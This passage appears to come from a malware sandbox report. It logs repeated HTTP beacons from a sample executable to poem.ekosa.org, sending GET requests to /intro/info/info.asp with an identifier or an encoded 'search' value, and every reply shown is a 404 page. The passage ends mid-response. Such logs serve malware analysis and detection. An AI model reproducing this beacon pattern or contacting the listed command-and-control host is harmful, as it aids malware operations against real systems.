Jan 11, 2021 17:55:44.199999094 CET	584	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:44.463160992 CET	585	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:43 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.4	49852	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:44.730411053 CET	586	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:44.990772009 CET	586	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:44 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.4	49853	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:45.259469986 CET	587	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:45.522773027 CET	588	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:44 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.4	49854	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:45.909315109 CET	588	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:46.173079967 CET	589	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:46 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.4	49855	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:46.442652941 CET	590	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:46.706830025 CET	590	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:46 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.4	49856	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:46.973223925 CET	591	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:47.235138893 CET	592	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:47 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.4	49857	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:47.623301983 CET	592	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:47.884114981 CET	593	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:47 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.4	49858	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:48.153604984 CET	594	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:48.416039944 CET	594	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:48 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.4	49859	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:48.682172060 CET	595	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:48.944469929 CET	596	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:48 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49769	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:01.867994070 CET	236	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:02.130270958 CET	242	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:01 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.4	49860	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:49.322773933 CET	596	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:49.582149029 CET	597	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:49 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; 